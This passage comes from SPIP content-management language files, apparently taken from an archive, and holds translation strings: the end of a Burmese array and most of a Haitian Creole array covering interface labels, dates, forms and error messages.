'texte_inc_auth_3' => 'ရပ်လိုက်ပြီး လိုအပ်လျှင် သင့် browser ကိုပြန်ဖွင့်ပါ',
'texte_inc_config' => 'ဒီစာမျက်နှာများပေါ်မှာ လုပ်ဆောင်ချပ်များ ပိုမိုရရှိအောင် ရွေးချယ်မှုတွေကို လိုအပ်သလို ပြောင်းကြည့်ပါ၊ သို့သော် SPIPဟာ ဘယ်လို အလုပ်လုပ်သလဲဆိုတာကို ကောင်းကောင်းမသိသေးဘူး ဆိုယင်တော့ သိပ်အားမပေးလိုပါဘူး၊ သင့်ဝက်ဘ်ဆိုက်ဆရာကြီးကို အကြောင်းကြားဖို့တော့ မမေ့နှင့်ပေါ့။',
'texte_inc_meta_1' => 'ဖိုင်<code>@fichier@</code>ကိုရေးသားဖို့ ကြိုးစားနေစဉ်မှာ စက်တွင်အခက်အခဲ ကြုံတွေ့ရပါသည်၊ ဆိုက်နှင့်သက်ဆိုင်သော ဆရာကြီးအနေဖြင့် ထပ်မှန်ကြိုးစားလိုက်ပါ',
'texte_inc_meta_2' => 'ရေးသားခွင့်များကို ပြန်လည်စမ်းစစ်ပါ',
'texte_inc_meta_3' => '<code>@repertoire@</code>၏ဖိုင်တွဲ',
'texte_statut_en_cours_redaction' => 'တည်းဖြတ်နေဆဲပါ',
'texte_statut_poubelle' => 'အမိုက်ပုံးထဲမှာ',
'texte_statut_propose_evaluation' => 'ပြန်လည်စမ်းစစ်ရန် တင်သွင်းပြီး',
'texte_statut_publie' => 'အွန်လိုင်းတွင် ထုတ်ဝေပြီး',
'texte_statut_refuse' => 'ငြင်းပယ်ထားသည်',
'titre_ajouter_mot_cle' => 'စကားစုထည့်ပါအုံး',
'titre_cadre_raccourcis' => 'မာတိကာ',
'titre_changer_couleur_interface' => 'စာမျက်နှာ အရာင်ပြောင်းရန်',
'titre_image_admin_article' => 'သင့်တွင်ဤစာစောင်ကို စီမံခွင့်ရှိသည်',
'titre_image_administrateur' => 'စီမံခန့်ခွဲသူ',
'titre_image_aide' => 'အကူအညီရယူရန်',
'titre_image_auteur_supprime' => 'စာရေးသူကို ပယ်ဖျက်ပြီးဖြစ်သည်',
'titre_image_redacteur' => 'ဝင်ခွင့်မရှိဘဲနှင့် တည်းဖြတ်နိုင်သူ',
'titre_image_redacteur_02' => 'စာတည်း',
'titre_image_visiteur' => 'လာလည်သူ',
'titre_joindre_document' => 'ပူးတွဲစာ တင်သွင်းရန်',
'titre_mots_cles' => 'စကားစု',
'titre_probleme_technique' => 'သတိပေးချက်၊ ဤနေရာသို့ ဝင်ရောက်ခွင့်ကို တားမြစ်ထားပါသည်၊ နားလည်မှုအတွက် ကျေးဇူးတင်ပါသည်။',
'titre_publier_document' => 'ဤအခန်းကဏ္ဍထဲမှ ဆောင်းပါးများကို ထုတ်ဝေပါ',
'titre_statistiques' => 'ဆိုက်လာလည်မှုစရင်း',
'titre_titre_document' => 'စာမျက်နှာခေါင်းစဉ်',
'trad_reference' => '(အညွှန်းဆောင်းပါး)', # MODIF
// Z
'zbug_balise_b_aval' => ': B tag too late in loop',
'zbug_boucle' => 'loop',
'zbug_boucle_recursive_undef' => 'undefined recursive loop', # MODIF
'zbug_champ_hors_boucle' => 'Field @champ@ outside loop',
'zbug_champ_hors_motif' => 'Field @champ@ outside loop tagged @motif@', # MODIF
'zbug_code' => 'ကုဒ်',
'zbug_critere_inconnu' => 'အမည်မသိ စံညွှန်း @critere@', # MODIF
'zbug_distant_interdit' => 'ပြင်ပ အချက်အလက် တားမြစ်ထားသည်', # MODIF
'zbug_doublon_table_sans_index' => 'စာညွှန်းတွင်မပါဘဲနှင့် ဇယားတွင် နှစ်ခါပါဝင်သည်', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@ နှစ်ခါထပ်နေသော အဓိပ္ပါယ်ဖွင့်ဆိုချက်', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: အပိတ်တေးမှတ်ချက် မရှိဖြစ်ခြင်း', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Incorrect loop (BOUCLE) syntax ', # MODIF
'zbug_erreur_compilation' => 'စုဆောင်းမှု အမှားအယွင်း',
'zbug_erreur_execution_page' => 'စာမျက်နှာတွက်ချက်မှု အမှားအယွင်း', # MODIF
'zbug_erreur_filtre' => 'အမှားအယွင်း၊ ဖော်ပြမထားသော စမ်းစစ်ချက် <b>\\"@filtre@\\"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} only applies to loops (FORUMS) and (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'စာမျက်နှာ ပုံစံခွက်ထဲမှ အမှားအယွင်းများ',
'zbug_info_erreur_squelette' => 'ُဆိုက်ထဲအမှားအယွင်း',
'zbug_inversion_ordre_inexistant' => 'မရှိဘူးသော စာစဉ်မှု', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION tag without {pagination} criterion, or used in a recursive loop', # MODIF
'zbug_parametres_inclus_incorrects' => 'ထပ်မံဖြည့်စွပ်ချက် အမှား', # MODIF
'zbug_resultat' => 'ရှာဖွေမှု ရလဒ်',
'zbug_serveur_indefini' => 'ဖော်ပြခြင်းမရှိသော SQL ဆာဗာ', # MODIF
'zbug_table_inconnue' => 'အမည်မသိ SQL ဇယား \\"@table@\\"',
'zxml_connus_attributs' => 'အမည်မသိ အရည်အသွေးများ',
'zxml_de' => 'မှ',
'zxml_inconnu_attribut' => 'အမည်မသိ အရည်အသွေး',
'zxml_inconnu_balise' => 'အမည်မသိ တေးမှတ်ချက်',
'zxml_inconnu_entite' => 'အမည်မသိ အရာဝတ္ထု',
'zxml_inconnu_id' => 'အမည်မသိ ID',
'zxml_mais_de' => 'သို့သော် ဤအရာမှ',
'zxml_non_conforme' => 'မူအရမှန်ကန်မှု မရှိပါ',
'zxml_non_fils' => 'ဆက်ခံမှုခွဲ မဟုတ်ပါ',
'zxml_nonvide_balise' => 'တေးမှတ်ချက် လစ်ဟာမှုမရှိပါ',
'zxml_obligatoire_attribut' => 'လိုအပ်နေသော အပိုင်းအစ မရှိပါ',
'zxml_succession_fils_incorrecte' => 'မှားယွင်းသော ဆက်ခံမှုခွဲ',
'zxml_survoler' => 'မှန်ကန်သည့်အရာကိုတွေ့ရှိရန် ကာဆာကို အပေါ်တွင်တင်ပါ',
'zxml_valeur_attribut' => 'အပိုင်းအစတန်ဖိုး',
'zxml_vide_balise' => 'တေးမှတ်ချက် မရှိပါ',
'zxml_vu' => 'တွေ့ရှိပြီးပြီ'
);
?>
spip_cpf_hat.php 0000666 00000075731 15252547432 0007746 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-cpf',
'0_langue' => 'Krèyòl ayisyen [hat]',
'0_liste' => 'spip-cpf@rezo.net',
'0_mainteneur' => 'pascale@rezo.net',
// A
'access_interface_graphique' => 'Tounen dèyé si lentèfas gwafik konple',
'access_mode_texte' => 'Afiche lentèfas tèks senp',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Chanje atik-la',
'admin_modifier_auteur' => 'Chanje bagay pou lotè-a',
'admin_modifier_breve' => 'Chanje ti-nouvèl la',
'admin_modifier_mot' => 'Chanje mokle-a',
'admin_modifier_rubrique' => 'Chanje ribwik-la (pati-a nan sit sa-a)',
'admin_recalculer' => 'Kalkil ankò paj-la',
'afficher_trad' => 'afiche twadiksyon yo',
'alerte_maj_impossible' => '<<b>Atansyon !</b> Larnouvèlman pou baz SQL sou @version@ se pa posib, petèt ka gen yon pwoblèm ek drwa pou chanje bazdone-a. Tanpri souple kontak lébèjè ou.', # MODIF
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'Analiz XML',
'articles_recents' => 'Atik yo ki plis resan',
'avis_archive_incorrect' => 'fichye achiv-a se pa fichye SPIP',
'avis_archive_invalide' => 'fichye achiv-a se pa korèk',
'avis_attention' => 'ATANSYON !',
'avis_champ_incorrect_type_objet' => 'Kouman chan-a li ap rele, pou bagay-la, se pa korek @name@ pou lojè tip @type@',
'avis_colonne_inexistante' => 'Kolòn nan @col@ pa egziste kounye-a',
'avis_erreur' => 'Erè : tanpri gad isit anba',
'avis_erreur_connexion' => 'Erè ak koneksyon',
'avis_erreur_cookie' => 'pwoblèm èk gatomakro (kouki)',
'avis_erreur_fonction_contexte' => 'Erè ak pwogwmasyon. Fok w pa rele fonksyon-nan andan kontèks-la.', # MODIF
'avis_erreur_mysql' => 'Erè SQL', # MODIF
'avis_erreur_sauvegarde' => 'Erè nan sovgad (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Pwoblèm pou antre nan lespas privé',
// B
'barre_a_accent_grave' => 'Mèt yon A aksan gwav majiskil',
'barre_aide' => 'Tichemen tipogwafik yo y fé yon paj pli bèl',
'barre_e_accent_aigu' => 'Mèt yon E aksan ègi majiskil',
'barre_eo' => 'Mèt yon E nan O',
'barre_eo_maj' => 'Mèt yon E nan lèt O majiskil',
'barre_euro' => 'Mèt senbol €',
'barre_gras' => 'Fé parèt ékri{{gra}}',
'barre_guillemets' => 'Pou mèt « giymé fransé yo »',
'barre_guillemets_simples' => 'Pou mèt giymé yo',
'barre_intertitre' => 'Mèt bagay kon yon {{{lentètit}}}',
'barre_italic' => 'Fé parèt ékri {italik}',
'barre_lien' => 'Chanje pou yon [lyen ipetèks->http://...]',
'barre_lien_input' => 'Tanpri souple enskri ladrès lyen ou (posib enskri yon ladrès wèb nan fòma http://www.monsite/com osnon senpman enskri nimewo atik-la nan sit sa-a.',
'barre_note' => 'Chanje pou mèt yon [[Not enba la paj]]',
'barre_quote' => '<quote>Rapòt yon mesaj</quote>',
'bouton_changer' => 'Chanje',
'bouton_chercher' => 'Chèche',
'bouton_choisir' => 'Chwazi',
'bouton_enregistrer' => 'Enskri',
'bouton_radio_desactiver_messagerie_interne' => 'Rete kazmodekri',
'bouton_radio_envoi_annonces' => 'Voye anons leditoyal ',
'bouton_radio_non_envoi_annonces' => 'Rete voye anons yo',
'bouton_radio_non_envoi_liste_nouveautes' => 'Rete voye yon lis nouvèlte yo',
'bouton_recharger_page' => 'Chaje ankò paj-la',
'bouton_telecharger' => 'Telechaje',
'bouton_upload' => 'Telechaje', # MODIF
'bouton_valider' => 'Konfime',
// C
'cal_apresmidi' => 'aprémidi',
'cal_jour_entier' => 'jou konplé',
'cal_matin' => 'maten',
'cal_par_jour' => 'kalandrye pa jou',
'cal_par_mois' => 'kalandrye pa mwa',
'cal_par_semaine' => 'kalandrye pa semèn',
'choix_couleur_interface' => 'koulè',
'choix_interface' => 'pou chwazi lentefas',
'confirm_changer_statut' => 'Atansyon. W te domann chanje lestati eleman nan. Eske w gen kontinye ?',
'correcte' => 'korek',
// D
'date_aujourdhui' => 'jodiya',
'date_avant_jc' => 'avan J.C.',
'date_dans' => 'nan @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'demen',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'nan jou ki te @nomjour@ @date@ -a',
'date_heures' => 'èr (yo)',
'date_hier' => 'yè',
'date_il_y_a' => ' genyen @delai@',
'date_jnum1' => '1e',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimanch',
'date_jour_1_abbr' => 'dim.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'lendi',
'date_jour_2_abbr' => 'len.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'madi',
'date_jour_3_abbr' => 'mad.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mèkredi',
'date_jour_4_abbr' => 'mek.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'jedi',
'date_jour_5_abbr' => 'jed.',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'vandredi',
'date_jour_6_abbr' => 'van.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'sanmdi',
'date_jour_7_abbr' => 'sam.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'jou yo',
'date_minutes' => 'minit yo',
'date_mois' => 'mwa ',
'date_mois_1' => 'janvye',
'date_mois_10' => 'oktòb ',
'date_mois_11' => 'novanm',
'date_mois_12' => 'Desanm ',
'date_mois_2' => 'fevriye',
'date_mois_3' => 'mas',
'date_mois_4' => 'avril',
'date_mois_5' => 'me',
'date_mois_6' => 'jen',
'date_mois_7' => 'jiyè ',
'date_mois_8' => 'out',
'date_mois_9' => 'septanm',
'date_saison_1' => 'ivè',
'date_saison_2' => ' prentan',
'date_saison_3' => 'lété',
'date_saison_4' => 'lotòn',
'date_semaines' => 'semèn yo',
'dirs_commencer' => 'pou koumanse vreman lenstalasyon',
'dirs_preliminaire' => 'Dabò : <b> ann swen drwa aksè</b>',
'dirs_probleme_droits' => 'Pwoblèm ak drwa laksè',
'dirs_repertoires_absents' => '<p><b>Oken répertwa sa-yo te fin rannkont :</b></p><ul>@bad_dirs@</ul>
<p> Petèt yon pwoblèm ek majiskil ousinon miniskil ki pa bon.
Gad yo ap mache kom kisa ap parèt isit anlè
; sinon, fòk w rele yon lòt fwa tout repertwar sa-yo nan ou logisyèl FTP pou korij erè-a.</p>
<p>Kan lafè ke fini, w ke kapab',
'dirs_repertoires_suivants' => '<b>Pa posib ekri sou repètwa sa-yo : <ul>@bad_dirs@.</ul> </b>
<p>Pou swen bagay-la, ann itilize logisyèl FTP ou pou don drwa laksé chak
repètwa. Guid lenstalasyon ap di kouman w ke kapab fè bagay-la.
</p><p>Kan w ke fini w ke kapab</p>', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'envoi_via_le_site' => 'Voye ek sit-la',
// F
'fichier_introuvable' => 'Oken fisyé @fichier@ konsa',
'form_deja_inscrit' => 'W se deja enskri.',
'form_email_non_valide' => 'Ladrès limèl ou se pa bon.',
'form_forum_access_refuse' => 'W pli ap gen lakse sou sit-la.',
'form_forum_bonjour' => 'Bonjou @nom@,,',
'form_forum_email_deja_enregistre' => 'Adrès limèl-a deja enskri, w pé itiliz modpas òdinè ou.',
'form_forum_identifiant_mail' => 'Nouvo lidantifyan ou sé voye andan bwatlimèl ou. ',
'form_forum_identifiants' => 'Idantifyan pèsonèl yo',
'form_forum_indiquer_nom_email' => 'Enskri kouman w rele ak ladrès limèl ou Lidantifyan pèsonèl ou ke vini aprè vitman andan bwatlimèl ou.',
'form_forum_login' => 'nonkod :',
'form_forum_message_auto' => '(mesaj-la se yon mesaj otomatik)',
'form_forum_pass' => 'modpas :',
'form_forum_probleme_mail' => 'Pwoblèm pou limèl : lidantifyan pa posib anvway w.',
'form_forum_voici1' => 'Lidantifyan y permé w soutni lavi
sit-la "@nom_site_spip@" (@adresse_site@) :', # MODIF
'form_forum_voici2' => 'Lidantifyan ou pou pwopoze atik yo sou
sit "@nom_site_spip@" (@adresse_login@) :', # MODIF
'form_indiquer_email' => 'Mèsi enskri ladrès limèl ou.',
'form_indiquer_nom' => 'Mèsi enskri kouman w rele',
'form_indiquer_nom_site' => 'Mèsi enskri kouman sit ou-a li rele',
'form_pet_deja_enregistre' => 'Sit-la se deja enskri',
'form_pet_signature_pasprise' => 'Siyati ou se pa aksepte.',
'form_prop_confirmer_envoi' => 'Konfime w vle voye i',
'form_prop_description' => 'Dekrisyon/komantè',
'form_prop_enregistre' => 'Pwopozisyon ou se kounye-a ap enskri, li ke parèt apre yon komandè te konfime ali. ',
'form_prop_envoyer' => 'Voye yon mesaj',
'form_prop_indiquer_email' => 'Mési enskri yon ladrès limèl ka mache',
'form_prop_indiquer_nom_site' => 'Mèsi enskri kouman sit ou rele',
'form_prop_indiquer_sujet' => 'Mèsi ékri yon sijé',
'form_prop_message_envoye' => 'Mesaj te fin voye',
'form_prop_non_enregistre' => 'Pwopozisyon ou te pa rojistré',
'form_prop_sujet' => 'Sije',
'form_prop_url_site' => 'Ladrès (URL) sitwèb', # MODIF
'forum_non_inscrit' => 'W ap pa enskri ankò, oubyen ladrès osinon modpas ou se pa korèk.',
'forum_par_auteur' => 'se @auteur@ te ekri',
'forum_titre_erreur' => 'Erè ...',
// I
'ical_texte_rss_articles' => 'Fichyé «backend» pou tout atik yo, w ke rannkont sou ladrès la :',
'ical_texte_rss_articles2' => 'W kap gen ositou fichye yo «backend» la pou tout atik yo nan chak ribrik sit la:',
'ical_texte_rss_breves' => 'Plis gen yon fichye ka kontni tout tinouvèl yo pou sit la. W kap gen sèlman tinouvèl yo yon ribrik prési si w domann yon niméwo ribrik la sèlman. ',
'icone_a_suivre' => 'Akèy',
'icone_admin_site' => 'Kolonaj sit la',
'icone_agenda' => 'Ajenda',
'icone_aide_ligne' => 'Bourad',
'icone_articles' => 'Atik yo',
'icone_auteurs' => 'Lotè yo',
'icone_brouteur' => 'Gad tout sit vitman',
'icone_configuration_site' => 'Konfigire sit',
'icone_configurer_site' => 'Konfigir sit ou',
'icone_creer_nouvel_auteur' => 'Kreye yon nouvo lotè',
'icone_creer_rubrique' => 'Kreye yon ribrik',
'icone_creer_sous_rubrique' => 'Kreye yon sou-ribrik',
'icone_deconnecter' => 'Rete koneksyon',
'icone_discussions' => 'Kozman yo',
'icone_doc_rubrique' => 'Dokiman yo nan ribrik yo',
'icone_ecrire_article' => 'Ekri yon nouvo atik',
'icone_edition_site' => 'Ledisyon',
'icone_gestion_langues' => 'Okipe plizyè lang',
'icone_informations_personnelles' => 'Ransèyman pèsonèl',
'icone_interface_complet' => 'Entèfas konplé',
'icone_interface_simple' => 'Entèfas senp',
'icone_maintenance_site' => 'Swen pou sit la',
'icone_messagerie_personnelle' => 'Kazmodékri',
'icone_repartition_debut' => 'Afiche repatisyon depi koumansman',
'icone_rubriques' => 'Ribrik yo',
'icone_sauver_site' => 'Sov sit la',
'icone_site_entier' => 'Tout sit sa mèm',
'icone_sites_references' => 'Sit referansé yo',
'icone_statistiques' => 'Rezilta estatistik sit la',
'icone_suivi_activite' => 'Gad lavi sit la',
'icone_suivi_actualite' => 'Evolisyon sit la',
'icone_suivi_pettions' => 'Swiv/ okipe tout petisyon ',
'icone_suivi_revisions' => 'Chanjman nan atik yo',
'icone_supprimer_document' => 'Kraze dokiman nan',
'icone_supprimer_image' => 'Kraze imaj la',
'icone_tous_articles' => 'Tout atik ou',
'icone_tous_auteur' => 'Tout lotè yo',
'icone_visiter_site' => 'Fè yon vire', # MODIF
'icone_voir_en_ligne' => 'Gad an liy',
'img_indisponible' => 'imaj-la se pa disponib',
'impossible' => 'enposib',
'info_a_suivre' => 'AKEY »',
'info_acces_interdit' => 'Aksè entèdi',
'info_acces_refuse' => 'Aksè refize',
'info_action' => 'Aksyon: @action@',
'info_administrer_rubriques' => 'W kapab jère ribrik-la ek souribrik yo',
'info_adresse_non_indiquee' => 'W te pa done oken ladrès pou eseye !',
'info_aide' => 'ED :',
'info_ajouter_mot' => 'Ajoute mokle-a',
'info_annonce' => 'ANNONS',
'info_annonces_generales' => 'Annons pou toutmoun :',
'info_article_propose' => 'Atik ki pwopoze ',
'info_article_publie' => 'Atik ki pibliyé',
'info_article_redaction' => 'Atik ki ap ekri ankò',
'info_article_refuse' => 'Atik ki refize',
'info_article_supprime' => 'Atik ki kraze',
'info_articles' => 'Atik yo',
'info_articles_a_valider' => 'Atik yo ki pou konfime',
'info_articles_proposes' => 'Atik sa-yo se atik yo moun ki pwopozé',
'info_auteurs_nombre' => 'lotè (yo) :',
'info_authentification_ftp' => 'Lotantifikasyon (pa FTP).',
'info_breves_2' => 'tinouvèl yo',
'info_connexion_refusee' => 'Koneksyon te fin refize',
'info_contact_developpeur' => 'Mèsi kotenouye yon devlopèr.',
'info_contenance' => 'Kisa ap kontni nan sit-la :',
'info_contribution' => 'mesaj andan fowom', # MODIF
'info_copyright' => '@spip@ se yon logisyèl lib ki done @lien_gpl@.',
'info_copyright_doc' => 'Si w vle plis enfòmasyon, ann gad sit sa-a <a href="@spipnet@">http://www.spip.net/cpf</a>.', # MODIF
'info_copyright_gpl' => 'nan lisans GPL',
'info_cours_edition' => 'Tout atik yo w ka ekri ankò',
'info_creer_repertoire' => 'Kreye yon fichye ousinon yon répètwa sak i rele :',
'info_creer_repertoire_2' => 'nan sou-repètwa <b>@repertoire@</b>, epi :', # MODIF
'info_creer_vignette' => 'kreyasyon viyèt otomatik ',
'info_deplier' => 'Etann',
'info_descriptif_nombre' => 'dekrisyon(yo) :',
'info_description' => 'Dekrisyon :',
'info_description_2' => 'Dekrisyon :',
'info_dimension' => 'Tay :',
'info_ecire_message_prive' => 'Ekri yon mesaj prive',
'info_email_invalide' => 'Adrès limèl se pa bon.',
'info_en_cours_validation' => 'Atik sa-yo se tout atik w yo ki ap ekri ankò',
'info_en_ligne' => 'Moun ki ap an liy :',
'info_envoyer_message_prive' => 'Voye yon mesaj prive pou lotè-a',
'info_erreur_requete' => 'Erè nan rekèt :',
'info_erreur_squelette2' => 'Oken leskelèt <b>@fichier@</b> se pa disponib...',
'info_erreur_systeme' => 'Erè sistèm (errno @errsys@)',
'info_erreur_systeme2' => 'Diskédir se petèt plen osnon bazdoné gen domaj<br />
<span style="color:red;">Esey w<a href=\'@script@\'>aranje baz-la</a>, osnon kontak lébèjè ou.</span>', # MODIF
'info_fini' => 'W gen fin fini !',
'info_format_image' => 'Kèk sòt imaj SPIP kapab itilize pou kreye vinyèt : @gd_formats@.',
'info_format_non_defini' => 'fòma ki pa defini',
'info_grand_ecran' => 'Gran lékran',
'info_image_aide' => 'ED',
'info_image_process_titre' => 'Kouman fè pou kreye kèk vinyèt',
'info_impossible_lire_page' => '<b>Erè !</b> Fè lekti paj <tt><html>@test_proxy@</html></tt> pa proksi ou-a se pa posib <tt>', # MODIF
'info_installation_systeme_publication' => 'Enstalasyon sistèm de piblikasyon...',
'info_installer_documents' => 'W kap enstalé otomatikman tout dokiman yo ki kontni nan dosyé-a @upload@.', # MODIF
'info_installer_ftp' => 'Tankou komandè, w kap enstalé(pa FTP)kèk fichyé nn dosyé-a @upload@ pou aprè w kap chwazi yo isit-la direkman.', # MODIF
'info_installer_images' => 'W kapab enstale kèk imaj nan fòma sa-yo JPEG, GIF ak PNG.',
'info_installer_images_dossier' => 'Enstal imaj nan dosye @upload@ pou w ke kapab swazi yo isit aprè.', # MODIF
'info_interface_complete' => 'entèfas konplé',
'info_interface_simple' => 'Entèfas senp',
'info_joindre_document_article' => 'W kap jwenn sou atik-la tout dokiman nan tip',
'info_joindre_document_rubrique' => 'Nan ribrik-la, w kap ajoute tout dokiman nan tip',
'info_joindre_documents_article' => 'W kap jwenn nan atik ou-a, tout dokiman nan tip :',
'info_l_article' => 'atik sa-a',
'info_la_breve' => 'tinouvèl-la',
'info_la_rubrique' => 'ribrik la',
'info_langue_principale' => 'Lalang prensipal nan sit-la',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ piksel yo',
'info_les_auteurs_1' => 'pa @les_auteurs@',
'info_logo_format_interdit' => 'W selman kapab itilize yon logo nan fòma @formats@.',
'info_logo_max_poids' => 'Fok logo yo se mwen @maxi@ (fichye sa-a se @actuel@).',
'info_mail_fournisseur' => 'w@fournisseur.com',
'info_message_2' => 'MESAJ',
'info_message_supprime' => 'MESAJ KRAZE',
'info_mise_en_ligne' => 'Ladat piblikasyon :',
'info_modification_parametres_securite' => 'chanjman sou paramèt pou sekirite',
'info_mois_courant' => 'Nan tan mwa-a :',
'info_mot_cle_ajoute' => 'Mokle-a te fin ajoute sou',
'info_multi_herit' => 'Lalang ka parèt otomatikman',
'info_multi_langues_soulignees' => 'Tout <u>lang souliyé sa-yo</u> ap gen yon tradiksyon tout tèks sa-yo nan lentèfas. Si w chwazi lang sa-yo, genyen plen éléman sou sit piblik (dat, fòmulè)ki tradwi otomatikman. Pou tout lang ki pa souliyé an, tout éléman sa-yo ke parèt nan lang prensipal sit ou.', # MODIF
'info_multilinguisme' => 'Miltilengwism',
'info_nom_non_utilisateurs_connectes' => 'Kouman ou rele pap parèt nan lis zitilizatè an liy.',
'info_nom_utilisateurs_connectes' => 'Kouman w rele ap parèt nan lis zitilizatè an liy.',
'info_nombre_en_ligne' => 'Moun se an liy :',
'info_non_resultat' => 'gen pa oken rézilta pou "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'W p’ap itilize lakazmodékri andan sit-la.',
'info_nouveau_message' => 'W GEN YON NOUVO MESAJ',
'info_nouveaux_messages' => 'W GEN @total_messages@ NOUVO MESAJ YO',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'RAPLE-W',
'info_petit_ecran' => 'Piti lékran',
'info_pixels' => 'piksèl yo',
'info_plusieurs_mots_trouves' => 'Kèk mokle te fin sòti pou "@cherche_mot@":',
'info_portfolio_automatique' => 'Livlimaj otomatik :',
'info_premier_resultat' => '[@debut_limit@ premye rezilta sa-yo si @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ premye rezilta sa-yo si @total@]',
'info_propose_1' => '[@nom_site_spip@] ka pwopoze : @titre@',
'info_propose_2' => 'Atik pwopoze pou parèt
---------------',
'info_propose_3' => 'Atik "@titre@" pwopoze pou parèt.',
'info_propose_4' => 'W se invite pou vini gad ali ek donn anou komantè ou',
'info_propose_5' => 'nan fowom anba. W trouv ali sou ladrès:',
'info_publie_01' => 'Atik la i rele "@titre@" te konfime pa @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] KA PIBLIYE : @titre@',
'info_publie_2' => 'Atik se pibliye
--------------',
'info_rechercher' => 'Chèche',
'info_rechercher_02' => 'Chèche :',
'info_remplacer_vignette' => 'Chanje vinyèt otomatik ek yon logo pèsonèl :',
'info_sans_titre_2' => 'ki pa rele',
'info_selectionner_fichier' => 'W kapab chwazi yon fichye nan dosyé @upload@', # MODIF
'info_selectionner_fichier_2' => 'Chwazi yon fichye :',
'info_supprimer_vignette' => 'kraze viyèt-la',
'info_symbole_bleu' => 'Senbol <b>ble</b> ki endik <b>yon pansbèt</b>: yon mesaj ou pou izaj pèsonèl ou.', # MODIF
'info_symbole_jaune' => 'Senbol <b>jon</b> ki endik <b>yon anons pou tout redaktè</b> : ki visib pout tout redaktè nan espas prive, ak ki komandè kapab chanje selman.', # MODIF
'info_symbole_vert' => 'Senbol <b>vèr</b> ki endik <b> yon mesaj voye ant zot zitilizatè</b> sit la.', # MODIF
'info_telecharger_nouveau_logo' => 'Téléchaj yon nouvo logo :',
'info_telecharger_ordinateur' => 'Telechaj sou lòdinatè ou :',
'info_tous_resultats_enregistres' => '[tout rézilta yo ki enskri nan memwar ]',
'info_tout_afficher' => 'Fè parèt tout',
'info_travaux_texte' => 'Sit-la pòkò konfigiré...Tounyen isit pli tar.',
'info_travaux_titre' => 'Sit ki se ankò yon chantye',
'info_trop_resultat' => 'Tro rézilta pou "@cherche_mot@" ; Mèsi présiz chèche ou.',
'info_utilisation_messagerie_interne' => 'W kapab itilize lakazmodekri andodan sit sa-a.',
'info_valider_lien' => 'konfime lyen sa-a',
'info_verifier_image' => ', mèsi gad imaj sa-yo ki chaje korèkman.',
'info_vignette_defaut' => 'Viyèt otomatik',
'info_vignette_personnalisee' => 'Viyèt pèsonèl',
'info_visite' => 'vizit :',
'info_vos_rendez_vous' => 'W ke rannkont',
'infos_vos_pense_bete' => 'Mesaj yo pou w raple-w', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afiche ikòn yo sèlman',
'lien_afficher_texte_icones' => 'Afiche ikòn ak tèks',
'lien_afficher_texte_seul' => 'Fè parèt kisa se tèks sèlman',
'lien_liberer' => 'mawonn',
'lien_liberer_tous' => 'Mawonn tout atik sa-yo', # MODIF
'lien_nouvea_pense_bete' => 'NOUVO RAPLE-W',
'lien_nouveau_message' => 'NOUVO MESAJ',
'lien_nouvelle_annonce' => 'YON NOUVEL ANNONS',
'lien_petitions' => 'PETISYON',
'lien_popularite' => 'popilèrité : @popularite@%',
'lien_racine_site' => 'RASIN SIT-LA',
'lien_reessayer' => 'eseye ankò yon lòt fwa',
